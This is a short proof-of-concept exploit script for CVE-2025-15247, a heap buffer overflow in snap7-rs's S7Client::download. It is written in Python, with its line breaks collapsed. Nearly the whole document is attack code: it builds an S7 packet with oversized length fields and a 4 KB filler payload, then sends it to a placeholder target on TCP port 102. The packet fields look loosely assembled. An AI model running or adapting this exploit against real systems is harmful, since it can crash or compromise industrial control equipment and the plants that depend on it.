CVE-2025-15247: snap7-rs S7Client::download堆缓冲区溢出漏洞

import socket import struct def create_exploit_packet(): """ PoC for CVE-2025-15247: snap7-rs heap buffer overflow in S7Client::download function """ # Snap7 protocol header header = bytearray() header += b'\x03\x00' # Magic bytes header += struct.pack('>H', 0x1F) # Packet length placeholder header += b'\x01' # Protocol type header += b'\x00' # Reserved header += struct.pack('>H', 0x0001) # ROSCTR: Job # PDU reference header += struct.pack('>H', 0x0000) # Parameters length header += struct.pack('>H', 0x0008) # Data length data_length = 0xFFFF # Malicious oversized length header += struct.pack('>H', data_length) # Function code for download header += b'\x05' # Function: Download # Function parameters params = bytearray() params += b'\x12' # Parameter type params += b'\x08' # Number of blocks params += struct.pack('>I', 0x41414141) # Malicious length value # Malicious payload to trigger overflow payload = b'A' * 0x1000 # Oversized data packet = header + params + payload # Update packet length struct.pack_into('>H', packet, 2, len(packet)) return bytes(packet) def exploit(target_ip, target_port=102): """ Send exploit packet to target Snap7 server """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) exploit_packet = create_exploit_packet() sock.send(exploit_packet) response = sock.recv(1024) return response except Exception as e: return str(e) finally: sock.close() if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP result = exploit(target) print(f"Response: {result}")